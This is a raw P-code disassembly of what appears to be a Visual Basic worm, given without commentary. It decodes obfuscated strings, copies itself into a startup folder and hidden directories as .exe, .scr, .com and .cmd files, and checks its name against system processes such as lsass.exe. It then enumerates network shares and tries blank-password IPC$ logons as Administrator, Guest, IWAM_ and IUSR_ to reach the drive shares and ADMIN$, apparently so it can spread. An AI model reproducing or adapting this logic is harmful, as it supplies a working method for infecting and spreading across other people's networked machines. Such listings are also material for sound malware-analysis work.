00411b51FLdPr var_C8
00411b54VCallHresult 124, 6
00411b59FFree1Ad var_C8
00411b5cLargeBos 99
00411b5eFLdRfVar var_CC
00411b61FLdRfVar var_C8
00411b64ImpAdLdRf pool#3
00411b67NewIfNullPr 4
00411b6aVCallHresult 20, 5
00411b6fFLdPr var_C8
00411b72VCallHresult 80, 6
00411b77FLdZeroAd var_CC
00411b7aCVarStr var_DC
00411b7dImpAdCallI2 pool#38, 4
00411b82FStStrNoPop var_E8
00411b85FLdRfVar var_E4
00411b88FLdRfVar var_E0
00411b8bImpAdLdRf pool#3
00411b8eNewIfNullPr 4
00411b91VCallHresult 20, 5
00411b96FLdPr var_E0
00411b99VCallHresult 88, 6
00411b9eILdRf var_E4
00411ba1ConcatStr
00411ba2FStStrNoPop var_EC
00411ba5FLdPr arg_8
00411ba8MemStStrCopy arg_38
00411bacFFreeStr var_E8, var_E4, var_EC
00411bb5FFreeAd var_C8, var_E0
00411bbcFFree1Var var_DC
00411bbfLargeBos 35
00411bc1ImpAdLdI4 pool#14
00411bc4LitVarStr var_FC, "Uzpz}lh{'mee"
00411bc9FStVarCopyObj var_DC
00411bccFLdRfVar var_DC
00411bcfImpAdCallI2 pool#40, 4
00411bd4FStStrNoPop var_CC
00411bd7ConcatStr
00411bd8ImpAdStStr pool#33
00411bdcFFree1Str var_CC
00411bdfFFree1Var var_DC
00411be2LargeBos 22
00411be4LitVarI4 65316, 5, 0
00411becImpAdCallI2 pool#41, 4
00411bf1ImpAdStStr pool#42
00411bf5FFree1Var var_DC
00411bf8LargeBos 25
00411bfaLitVarI4 65316, 2, 0
00411c02ImpAdCallI2 pool#41, 4
00411c07CVarStr var_10C
00411c0aImpAdStVar pool#43
00411c0eFFree1Var var_DC
00411c11LargeBos 18
00411c13ImpAdLdRf pool#43
00411c16LitVarStr var_FC, "\\startup"
00411c1bConcatVar var_DC
00411c1fImpAdStVar pool#43
00411c23LargeBos 25
00411c25LitVarI4 65316, 6, 0
00411c2dImpAdCallI2 pool#41, 4
00411c32CVarStr var_10C
00411c35ImpAdStVar pool#45
00411c39FFree1Var var_DC
00411c3cLargeBos 118
00411c3eLitVarI4 65316, 0, 0
00411c46ImpAdCallI2 pool#41, 4
00411c4bFStStr var_E4
00411c4eLitVarI4 65268, 0, 0
00411c56ImpAdCallI2 pool#41, 4
00411c5bFStStrNoPop var_CC
00411c5eFnLenStr
00411c5fLitI4 7
00411c64SubI4
00411c65CVarI4 var_14C
00411c69LitI4 1
00411c6eFLdZeroAd var_E4
00411c71CVarStr var_12C
00411c74FLdRfVar var_15C
00411c77ImpAdCallFPR4 rtcMidCharVar, 16
00411c7cFLdRfVar var_15C
00411c7fLitVarStr var_16C, "Efjhe)Zl}}`gnzUHyye`jh}`fg)Mh}h"
00411c84FStVarCopyObj var_17C
00411c87FLdRfVar var_17C
00411c8aImpAdCallI2 pool#40, 4
00411c8fCVarStr var_18C
00411c92ConcatVar var_19C
00411c96ImpAdStVar pool#48
00411c9aFFreeStr var_CC, var_E4
00411ca1FFreeVar var_DC, var_10C, var_12C, var_14C, var_17C, var_15C, var_18C
00411cb2LargeBos 24
00411cb4LitVarStr var_FC, "Zfo}~h{lUD`j{fzfo}Uylh{eUk`hgn"
00411cb9FStVarCopyObj var_DC
00411cbcFLdRfVar var_DC
00411cbfImpAdCallI2 pool#40, 4
00411cc4FStStr var_88
00411cc7FFree1Var var_DC
00411ccaLargeBos 24
00411cccLitVarStr var_FC, "Zfo}~h{lUD`j{fzfo}UYlh{eUYh}a"
00411cd1FStVarCopyObj var_DC
00411cd4FLdRfVar var_DC
00411cd7ImpAdCallI2 pool#40, 4
00411cdcFStStr var_8C
00411cdfFFree1Var var_DC
00411ce2LargeBos 13
00411ce4FLdRfVar var_DC
00411ce7ImpAdCallFPR4 pool#51, 4
00411cecFFree1Var var_DC
00411cefLargeBos 13
00411cf1FLdRfVar var_DC
00411cf4ThisVCallHresult 1828, 25
00411cf9FFree1Var var_DC
00411cfcLargeBos 32
00411cfeImpAdLdI4 pool#14
00411d01LitStr "\\"
00411d04ConcatStr
00411d05FStStrNoPop var_CC
00411d08LitI4 3
00411d0dImpAdLdRf pool#53
00411d10Ary1LdI4
00411d11ConcatStr
00411d12CVarStr var_DC
00411d15ImpAdStVar pool#54
00411d19FFree1Str var_CC
00411d1cLargeBos 22
00411d1eLitI4 2
00411d23ImpAdLdRf pool#54
00411d26CStrVarVal 65332
00411d2aImpAdCallFPR4 rtcSetFileAttr, 8
00411d2fFFree1Str var_CC
00411d32LargeBos 37
00411d34ImpAdLdRf pool#12
00411d37LitVarStr var_FC, "\\"
00411d3cConcatVar var_DC
00411d40LitI4 1
00411d45ImpAdLdRf pool#53
00411d48Ary1LdI4
00411d49CVarStr var_11C
00411d4cConcatVar var_10C
00411d50ImpAdStVar pool#56
00411d54FFree1Var var_DC
00411d57LargeBos 17
00411d59ImpAdLdRf pool#56
00411d5cCStrVarVal 65332
00411d60ImpAdCallFPR4 rtcMakeDir, 4
00411d65FFree1Str var_CC
00411d68LargeBos 22
00411d6aLitI4 7
00411d6fImpAdLdRf pool#56
00411d72CStrVarVal 65332
00411d76ImpAdCallFPR4 rtcSetFileAttr, 8
00411d7bFFree1Str var_CC
00411d7eLargeBos 17
00411d80ImpAdLdRf pool#54
00411d83CStrVarVal 65332
00411d87ImpAdCallFPR4 rtcMakeDir, 4
00411d8cFFree1Str var_CC
00411d8fLargeBos 42
00411d91ImpAdLdRf pool#56
00411d94LitVarStr var_FC, "Uzl{\x7f`jl'lql"
00411d99FStVarCopyObj var_DC
00411d9cFLdRfVar var_DC
00411d9fImpAdCallI2 pool#40, 4
00411da4CVarStr var_10C
00411da7ConcatVar var_12C
00411dabCStrVarTmp
00411dacImpAdStStr pool#59
00411db0FFreeVar var_DC, var_10C, var_12C
00411db9LargeBos 42
00411dbbImpAdLdRf pool#56
00411dbeLitVarStr var_FC, "Uzdzz'lql"
00411dc3FStVarCopyObj var_DC
00411dc6FLdRfVar var_DC
00411dc9ImpAdCallI2 pool#40, 4
00411dceCVarStr var_10C
00411dd1ConcatVar var_12C
00411dd5CStrVarTmp
00411dd6ImpAdStStr pool#61
00411ddaFFreeVar var_DC, var_10C, var_12C
00411de3LargeBos 27
00411de5ImpAdLdRf pool#59
00411de8FLdPr arg_8
00411debMemLdStr arg_38
00411deeLitStr ".exe"
00411df1ConcatStr
00411df2PopTmpLdAdStr 65332
00411df6ImpAdCallFPR4 pool#63, 8
00411dfbFFree1Str var_CC
00411dfeLargeBos 27
00411e00ImpAdLdRf pool#59
00411e03FLdPr arg_8
00411e06MemLdStr arg_38
00411e09LitStr ".scr"
00411e0cConcatStr
00411e0dPopTmpLdAdStr 65332
00411e11ImpAdCallFPR4 pool#63, 8
00411e16FFree1Str var_CC
00411e19LargeBos 27
00411e1bImpAdLdRf pool#59
00411e1eFLdPr arg_8
00411e21MemLdStr arg_38
00411e24LitStr ".com"
00411e27ConcatStr
00411e28PopTmpLdAdStr 65332
00411e2cImpAdCallFPR4 pool#63, 8
00411e31FFree1Str var_CC
00411e34LargeBos 27
00411e36ImpAdLdRf pool#59
00411e39FLdPr arg_8
00411e3cMemLdStr arg_38
00411e3fLitStr ".cmd"
00411e42ConcatStr
00411e43PopTmpLdAdStr 65332
00411e47ImpAdCallFPR4 pool#63, 8
00411e4cFFree1Str var_CC
00411e4fLargeBos 13
00411e51FLdRfVar var_DC
00411e54ThisVCallHresult 1808, 25
00411e59FFree1Var var_DC
00411e5cLargeBos 7
00411e5eThisVCallHresult 1788, 25
00411e63SelectCaseByte 0
00411e65FLdRfVar var_CC
00411e68FLdRfVar var_C8
00411e6bImpAdLdRf pool#3
00411e6eNewIfNullPr 4
00411e71VCallHresult 20, 5
00411e76FLdPr var_C8
00411e79VCallHresult 88, 6
00411e7eILdRf var_CC
00411e81LitStr ".exe"
00411e84ConcatStr
00411e85CVarStr var_DC
00411e88FLdRfVar var_10C
00411e8bImpAdCallFPR4 rtcUpperCaseVar, 8
00411e90FLdRfVar var_10C
00411e93LitVarStr var_FC, "lsass.exe"
00411e98FStVarCopyObj var_12C
00411e9bFLdRfVar var_12C
00411e9eFLdRfVar var_14C
00411ea1ImpAdCallFPR4 rtcUpperCaseVar, 8
00411ea6FLdRfVar var_14C
00411ea9NeVar 65188
00411eadFLdRfVar var_E4
00411eb0FLdRfVar var_E0
00411eb3ImpAdLdRf pool#3
00411eb6NewIfNullPr 4
00411eb9VCallHresult 20, 5
00411ebeFLdPr var_E0
00411ec1VCallHresult 88, 6
00411ec6ILdRf var_E4
00411ec9LitStr ".exe"
00411eccConcatStr
00411ecdCVarStr var_17C
00411ed0FLdRfVar var_18C
00411ed3ImpAdCallFPR4 rtcUpperCaseVar, 8
00411ed8FLdRfVar var_18C
00411edbLitVarStr var_11C, "winlogon.exe"
00411ee0FStVarCopyObj var_19C
00411ee3FLdRfVar var_19C
00411ee6FLdRfVar var_1AC
00411ee9ImpAdCallFPR4 rtcUpperCaseVar, 8
00411eeeFLdRfVar var_1AC
00411ef1NeVar 65092
00411ef5AndVar 65076
00411ef9FLdRfVar var_E8
00411efcFLdRfVar var_1D0
00411effImpAdLdRf pool#3
00411f02NewIfNullPr 4
00411f05VCallHresult 20, 5
00411f0aFLdPr var_1D0
00411f0dVCallHresult 88, 6
00411f12ILdRf var_E8
00411f15LitStr ".exe"
00411f18ConcatStr
00411f19CVarStr var_1E0
00411f1cFLdRfVar var_1F0
00411f1fImpAdCallFPR4 rtcUpperCaseVar, 8
00411f24FLdRfVar var_1F0
00411f27LitVarStr var_13C, "system.exe"
00411f2cFStVarCopyObj var_200
00411f2fFLdRfVar var_200
00411f32FLdRfVar var_210
00411f35ImpAdCallFPR4 rtcUpperCaseVar, 8
00411f3aFLdRfVar var_210
00411f3dNeVar 64992
00411f41AndVar 64976
00411f45FLdRfVar var_EC
00411f48FLdRfVar var_234
00411f4bImpAdLdRf pool#3
00411f4eNewIfNullPr 4
00411f51VCallHresult 20, 5
00411f56FLdPr var_234
00411f59VCallHresult 88, 6
00411f5eILdRf var_EC
00411f61LitStr ".exe"
00411f64ConcatStr
00411f65CVarStr var_244
00411f68FLdRfVar var_254
00411f6bImpAdCallFPR4 rtcUpperCaseVar, 8
00411f70FLdRfVar var_254
00411f73ImpAdLdRf pool#22
00411f76CVarRef 65172, 16392
00411f7bFLdRfVar var_264
00411f7eImpAdCallFPR4 rtcUpperCaseVar, 8
00411f83FLdRfVar var_264
00411f86NeVar 64908
00411f8aAndVar 64892
00411f8eFLdRfVar var_28C
00411f91FLdRfVar var_288
00411f94ImpAdLdRf pool#3
00411f97NewIfNullPr 4
00411f9aVCallHresult 20, 5
00411f9fFLdPr var_288
00411fa2VCallHresult 88, 6
00411fa7ILdRf var_28C
00411faaLitStr ".exe"
00411fadConcatStr
00411faeCVarStr var_29C
00411fb1FLdRfVar var_2AC
00411fb4ImpAdCallFPR4 rtcUpperCaseVar, 8
00411fb9FLdRfVar var_2AC
00411fbcImpAdLdRf pool#22
00411fbfCVarRef 64836, 16392
00411fc4FLdRfVar var_2CC
00411fc7ImpAdCallFPR4 rtcUpperCaseVar, 8
00411fccFLdRfVar var_2CC
00411fcfNeVar 64804
00411fd3AndVar 64788
00411fd7FLdRfVar var_2F4
00411fdaFLdRfVar var_2F0
00411fddImpAdLdRf pool#3
00411fe0NewIfNullPr 4
00411fe3VCallHresult 20, 5
00411fe8FLdPr var_2F0
00411febVCallHresult 88, 6
00411ff0ILdRf var_2F4
00411ff3LitStr ".exe"
00411ff6ConcatStr
00411ff7CVarStr var_304
00411ffaFLdRfVar var_314
00411ffdImpAdCallFPR4 rtcUpperCaseVar, 8
00412002FLdRfVar var_314
00412005ImpAdLdRf pool#24
00412008FLdRfVar var_324
0041200bImpAdCallFPR4 rtcUpperCaseVar, 8
00412010FLdRfVar var_324
00412013NeVar 64716
00412017AndVar 64700
0041201bCBoolVarNull
0041201dFFreeStr var_CC, var_E4, var_E8, var_EC, var_28C, var_2F4
0041202cFFreeAd var_C8, var_E0, var_1D0, var_234, var_288, var_2F0
0041203bFFreeVar var_DC, var_12C, var_10C, var_14C, var_17C, var_19C, var_18C, var_1AC, var_1E0, var_200, var_1F0, var_210, var_244, var_254, var_264, var_29C, var_2AC, var_2CC, var_304, var_314, var_324
00412068BranchF 0x412076
0041206bLargeBos 7
0041206dThisVCallHresult 1832, 25
00412072LargeBos 4
00412074End
00412076
00412076loc_412076:
00412076LargeBos 2
00412078LargeBos 0
0041207aExitProcHresult
00411b38

0041207b
0041207b struct PCodePad
0041207b 04 .
0041207c
0041207c struct ProcDscInfo
0041207c lpObjectInfo uint32 0x405168
00412080 wArgSize int 4
00412082 wFrameSize int 704
00412084 wPCodeBackOffset uint16 0x411b38
00412086 wTotalSize uint16 0x0038
00412088 wProcOptFlags uint16 0x0000
0041208a wReserved uint16 0x0000
0041208c wBosSkipTableOff uint16 0x00f4
0041208e wBaseIfaceSlot uint16 0x0013
00412090 wReserved2 uint16 0x0000
00412092 wReserved3 uint16 0x0000
00412094
00412094 1e 00 00 00 01 00 03 00 00 00 00 00 ............
004120a0 78 ff 01 00 3c ff 04 00 1a 00 00 00 ff 00 74 ff x...<.........t.
004120b0 01 00 ff ff bc 00 00 00 00 00 2c 00 00 00 00 00 ..........,.....
004120c0 34 ff 01 00 1c ff 01 00 18 ff 01 00 14 ff 01 00 4...............
004120d0 74 fd 01 00 0c fd 01 00 38 ff 03 00 20 ff 03 00 t.......8... ...
004120e0 30 fe 03 00 cc fd 03 00 78 fd 03 00 10 fd 03 00 0.......x.......
004120f0 24 ff 02 00 f4 fe 02 00 d4 fe 02 00 b4 fe 02 00 $...............
00412100 a4 fe 02 00 84 fe 02 00 74 fe 02 00 64 fe 02 00 ........t...d...
00412110 54 fe 02 00 44 fe 02 00 34 fe 02 00 20 fe 02 00 T...D...4... ...
00412120 10 fe 02 00 00 fe 02 00 f0 fd 02 00 e0 fd 02 00 ................
00412130 d0 fd 02 00 bc fd 02 00 ac fd 02 00 9c fd 02 00 ................
00412140 8c fd 02 00 7c fd 02 00 64 fd 02 00 54 fd 02 00 ....|...d...T...
00412150 34 fd 02 00 24 fd 02 00 14 fd 02 00 fc fc 02 00 4...$...........
00412160 ec fc 02 00 dc fc 02 00 cc fc 02 00 bc fc 02 00 ................
00412170 01 00 08 02 ....

00412174
00412174fn_412174:
00412174LargeBos 2
00412176LargeBos 5
00412178OnErrorGoto 65535
0041217bLargeBos 10
0041217dLitI4 -1
00412182FStR4 65392
00412185LargeBos 38
00412187FLdRfVar var_8C
0041218aILdRf arg_C
0041218dLitI4 0
00412192LitI4 0
00412197LitI4 2
0041219cImpAdCallI2 fn_407df4, 20
004121a1FStR4 65352
004121a4SetLastSystemError
004121a5ILdRf var_B8
004121a8FStR4 65400
004121abLargeBos 24
004121adILdRf var_88
004121b0LitI4 0
004121b5EqI4
004121b6ILdRf var_8C
004121b9LitI4 0
004121beNeI4
004121bfAndI4
004121c0BranchF 0x412668
004121c3LargeBos 40
004121c5LitI4 16384
004121caPopTmpLdAdStr 65352
004121cdLitI4 0
004121d2FLdRfVar var_B0
004121d5Ary1LdRf
004121d6FLdRfVar var_90
004121d9ILdRf var_8C
004121dcImpAdCallI2 fn_407e40, 16
004121e1FStR4 65348
004121e4SetLastSystemError
004121e5ILdRf var_BC
004121e8FStR4 65400
004121ebLargeBos 14
004121edILdRf var_88
004121f0LitI4 0
004121f5EqI4
004121f6BranchF 0x412650
004121f9LargeBos 23
004121fbLitI2_Byte 0
004121fdFLdRfVar var_92
00412200ILdRf var_90
00412203LitI4 1
00412208SubI4
00412209CI2I4
0041220aForI2 65344, 1241
00412210LargeBos 21
00412212FLdI2 var_92
00412215CI4UI1
00412216FLdRfVar var_B0
00412219Ary1LdPr
0041221aMemLdRfVar 20
0041221dImpAdCallI2 pool#8, 4
00412222FStStr var_98
00412225LargeBos 13
00412227FLdRfVar var_98
0041222aImpAdCallI2 pool#9, 4
0041222fFStStr var_98
00412232LargeBos 64
00412234FLdI2 var_92
00412237CI4UI1
00412238FLdRfVar var_B0
0041223bAry1LdPr
0041223cMemLdRfVar 20
0041223fImpAdCallI2 pool#8, 4
00412244FStStr var_104
00412247LitI4 2
0041224cFLdZeroAd var_104
0041224fCVarStr var_D0
00412252FLdRfVar var_E0
00412255ImpAdCallFPR4 rtcLeftCharVar, 12
0041225aFLdRfVar var_E0
0041225dLitVarStr var_F0, "\\\\"
00412262HardType
00412263EqVarBool
00412265FFree1Str var_104
00412268FFreeVar var_D0, var_E0
0041226fBranchF 0x412607
00412272LargeBos 49
00412274LitVar_Missing var_134
00412277LitVar_Missing var_100
0041227aLitVar_Missing var_E0
0041227dFLdI2 var_92
00412280CI4UI1
00412281FLdRfVar var_B0
00412284Ary1LdPr
00412285MemLdRfVar 20
00412288ImpAdCallI2 pool#8, 4
0041228dCVarStr var_D0
00412290ILdPr 20
00412293VCallHresult 32, 2
00412298FFreeVar var_D0, var_E0, var_100, var_134
004122a3LargeBos 22
004122a5FLdI2 var_92
004122a8CI4UI1
004122a9FLdRfVar var_B0
004122acAry1LdPr
004122adMemLdStr arg_8
004122b0LitI4 2
004122b5EqI4
004122b6BranchF 0x412605
004122b9LargeBos 38
004122bbFLdI2 var_92
004122beCI4UI1
004122bfFLdRfVar var_B0
004122c2Ary1LdPr
004122c3MemLdRfVar 20
004122c6ImpAdCallI2 pool#8, 4
004122cbFStStrNoPop var_104
004122ceLitStr "\\IPC$"
004122d1ConcatStr
004122d2FStStrNoPop var_158
004122d5FStStrCopy var_140
004122d8FFreeStr var_104, var_158
004122dfLargeBos 67
004122e1LitI4 1
004122e6LitStr "Administrator"
004122e9FLdRfVar var_158
004122ecCStr2Ansi
004122edILdRf var_158
004122f0LitStr ""
004122f3FLdRfVar var_104
004122f6CStr2Ansi
004122f7ILdRf var_104
004122faFLdRfVar var_154
004122fdFLdRfVar var_178
00412300CRec2Ansi 17
00412303FLdRfVar var_178
00412306ImpAdCallFPR4 fn_407f5c, 16
0041230bSetLastSystemError
0041230cFLdRfVar var_178
0041230fFLdRfVar var_154
00412312CRec2Uni 17
00412315FFreeStr var_104, var_158
0041231cDestructAnsiOFrame 65160, 17
00412322LargeBos 146
00412324FLdI2 var_92
00412327CI4UI1
00412328FLdRfVar var_B0
0041232bAry1LdPr
0041232cMemLdRfVar 20
0041232fImpAdCallI2 pool#8, 4
00412334FStStr var_1A4
00412337LitI4 0
0041233cLitI4 -1
00412341LitI4 1
00412346LitStr ""
00412349LitStr "\\"
0041234cFLdZeroAd var_1A4
0041234fFStStrNoPop var_104
00412352ImpAdCallI2 rtcReplace, 24
00412357CVarStr var_D0
0041235aFLdRfVar var_E0
0041235dImpAdCallFPR4 rtcLowerCaseVar, 8
00412362LitI4 1
00412367LitStr "Administrator"
0041236aFLdRfVar var_1A0
0041236dCStr2Ansi
0041236eILdRf var_1A0
00412371FLdRfVar var_E0
00412374CStrVarVal 65192
00412378FLdRfVar var_19C
0041237bCStr2Ansi
0041237cILdRf var_19C
0041237fFLdRfVar var_154
00412382FLdRfVar var_198
00412385CRec2Ansi 17
00412388FLdRfVar var_198
0041238bImpAdCallFPR4 fn_407f5c, 16
00412390SetLastSystemError
00412391FLdRfVar var_198
00412394FLdRfVar var_154
00412397CRec2Uni 17
0041239aFFreeStr var_104, var_158, var_19C, var_1A0, var_1A4
004123a7FFreeVar var_D0, var_E0
004123aeDestructAnsiOFrame 65128, 17
004123b4LargeBos 141
004123b6FLdI2 var_92
004123b9CI4UI1
004123baFLdRfVar var_B0
004123bdAry1LdPr
004123beMemLdRfVar 20
004123c1ImpAdCallI2 pool#8, 4
004123c6FStStr var_1C8
004123c9LitI4 0
004123ceLitI4 -1
004123d3LitI4 1
004123d8LitStr ""
004123dbLitStr "\\"
004123deFLdZeroAd var_1C8
004123e1FStStrNoPop var_104
004123e4ImpAdCallI2 rtcReplace, 24
004123e9FStStr var_1CC
004123ecLitI4 1
004123f1LitStr "IWAM_"
004123f4FLdZeroAd var_1CC
004123f7FStStrNoPop var_158
004123faConcatStr
004123fbFStStrNoPop var_1A0
004123feFLdRfVar var_1A4
00412401CStr2Ansi
00412402ILdRf var_1A4
00412405LitStr ""
00412408FLdRfVar var_19C
0041240bCStr2Ansi
0041240cILdRf var_19C
0041240fFLdRfVar var_154
00412412FLdRfVar var_1C4
00412415CRec2Ansi 17
00412418FLdRfVar var_1C4
0041241bImpAdCallFPR4 fn_407f5c, 16
00412420SetLastSystemError
00412421FLdRfVar var_1C4
00412424FLdRfVar var_154
00412427CRec2Uni 17
0041242aFFreeStr var_104, var_158, var_19C, var_1A0, var_1A4, var_1C8, var_1CC
0041243bDestructAnsiOFrame 65084, 17
00412441LargeBos 141
00412443FLdI2 var_92
00412446CI4UI1
00412447FLdRfVar var_B0
0041244aAry1LdPr
0041244bMemLdRfVar 20
0041244eImpAdCallI2 pool#8, 4
00412453FStStr var_1C8
00412456LitI4 0
0041245bLitI4 -1
00412460LitI4 1
00412465LitStr ""
00412468LitStr "\\"
0041246bFLdZeroAd var_1C8
0041246eFStStrNoPop var_104
00412471ImpAdCallI2 rtcReplace, 24
00412476FStStr var_1CC
00412479LitI4 1
0041247eLitStr "IUSR_"
00412481FLdZeroAd var_1CC
00412484FStStrNoPop var_158
00412487ConcatStr
00412488FStStrNoPop var_1A0
0041248bFLdRfVar var_1A4
0041248eCStr2Ansi
0041248fILdRf var_1A4
00412492LitStr ""
00412495FLdRfVar var_19C
00412498CStr2Ansi
00412499ILdRf var_19C
0041249cFLdRfVar var_154
0041249fFLdRfVar var_1EC
004124a2CRec2Ansi 17
004124a5FLdRfVar var_1EC
004124a8ImpAdCallFPR4 fn_407f5c, 16
004124adSetLastSystemError
004124aeFLdRfVar var_1EC
004124b1FLdRfVar var_154
004124b4CRec2Uni 17
004124b7FFreeStr var_104, var_158, var_19C, var_1A0, var_1A4, var_1C8, var_1CC
004124c8DestructAnsiOFrame 65044, 17
004124ceLargeBos 67
004124d0LitI4 1
004124d5LitStr "Guest"
004124d8FLdRfVar var_158
004124dbCStr2Ansi
004124dcILdRf var_158
004124dfLitStr ""
004124e2FLdRfVar var_104
004124e5CStr2Ansi
004124e6ILdRf var_104
004124e9FLdRfVar var_154
004124ecFLdRfVar var_20C
004124efCRec2Ansi 17
004124f2FLdRfVar var_20C
004124f5ImpAdCallFPR4 fn_407f5c, 16
004124faSetLastSystemError
004124fbFLdRfVar var_20C
004124feFLdRfVar var_154
00412501CRec2Uni 17
00412504FFreeStr var_104, var_158
0041250bDestructAnsiOFrame 65012, 17
00412511LargeBos 67
00412513LitI4 1
00412518LitStr ""
0041251bFLdRfVar var_158
0041251eCStr2Ansi
0041251fILdRf var_158
00412522LitStr ""
00412525FLdRfVar var_104
00412528CStr2Ansi
00412529ILdRf var_104
0041252cFLdRfVar var_154
0041252fFLdRfVar var_22C
00412532CRec2Ansi 17
00412535FLdRfVar var_22C
00412538ImpAdCallFPR4 fn_407f5c, 16
0041253dSetLastSystemError
0041253eFLdRfVar var_22C
00412541FLdRfVar var_154
00412544CRec2Uni 17
00412547FFreeStr var_104, var_158
0041254eDestructAnsiOFrame 64980, 17
00412554LargeBos 15
00412556LitI2_Byte 65
00412558FLdRfVar var_22E
0041255bLitI2_Byte 90
0041255dForI2 64974, 1110
00412563LargeBos 93
00412565LitVar_Missing var_274
00412568LitVar_Missing var_254
0041256bLitVar_Missing var_244
0041256eFLdI2 var_92
00412571CI4UI1
00412572FLdRfVar var_B0
00412575Ary1LdPr
00412576MemLdRfVar 20
00412579ImpAdCallI2 pool#8, 4
0041257eFStStrNoPop var_104
00412581LitStr "\\"
00412584ConcatStr
00412585CVarStr var_E0
00412588FLdI2 var_22E
0041258bCI4UI1
0041258cFLdRfVar var_D0
0041258fImpAdCallFPR4 rtcVarBstrFromAnsi, 8
00412594FLdRfVar var_D0
00412597ConcatVar var_100
0041259bLitVarStr var_F0, "$"
004125a0ConcatVar var_134
004125a4ILdPr 20
004125a7VCallHresult 32, 2
004125acFFree1Str var_104
004125afFFreeVar var_E0, var_D0, var_100, var_134, var_244, var_254, var_274
004125c0LargeBos 10
004125c2FLdRfVar var_22E
004125c5NextI2 64974, 1007
004125caLargeBos 59
004125ccLitVar_Missing var_134
004125cfLitVar_Missing var_100
004125d2LitVar_Missing var_E0
004125d5FLdI2 var_92
004125d8CI4UI1
004125d9FLdRfVar var_B0
004125dcAry1LdPr
004125ddMemLdRfVar 20
004125e0ImpAdCallI2 pool#8, 4
004125e5FStStrNoPop var_104
004125e8LitStr "\\ADMIN$"
004125ebConcatStr
004125ecCVarStr var_D0
004125efILdPr 20
004125f2VCallHresult 32, 2
004125f7FFree1Str var_104
004125faFFreeVar var_D0, var_E0, var_100, var_134
00412605
00412605loc_412605:
00412605LargeBos 2
00412607
00412607loc_412607:
00412607LargeBos 2
00412609LargeBos 24
0041260bFLdI2 var_92
0041260eCI4UI1
0041260fFLdRfVar var_B0
00412612Ary1LdPr
00412613MemLdStr arg_C
00412616LitI4 2
0041261bAndI4
0041261cCBoolI4
0041261eBranchF 0x412641
00412621LargeBos 32
00412623ILdRf arg_14
00412626ILdI4 arg_10
00412629ILdRf var_98
0041262cConcatStr
0041262dPopTmpLdAdStr 65276
00412631FLdI2 var_92
00412634CI4UI1
00412635FLdRfVar var_B0
00412638Ary1LdRf
00412639ImpAdCallFPR4 pool#10, 12
0041263eFFree1Str var_104
00412641
00412641loc_412641:
00412641LargeBos 2
00412643LargeBos 10
00412645FLdRfVar var_92
00412648NextI2 65344, 156
0041264dBranch 0x412663
00412650
00412650loc_412650:
00412650LargeBos 14
00412652ILdRf var_88
00412655LitI4 259
0041265aEqI4
0041265bBranchF 0x412661
0041265eBranch 0x412663
00412661
00412661loc_412661:
00412661LargeBos 2
00412663
00412663loc_412663:
00412663LargeBos 2
00412665Branch 0x41266a
00412668
00412668loc_412668:
00412668LargeBos 2
0041266a
0041266aloc_41266a:
0041266aLargeBos 2
0041266cLargeBos 20
0041266eILdRf var_8C
00412671ImpAdCallI2 fn_407e88, 4
00412676FStR4 65352
00412679SetLastSystemError
0041267aILdRf var_B8
0041267dFStR4 65400
00412680LargeBos 0
00412682ExitProc
00412174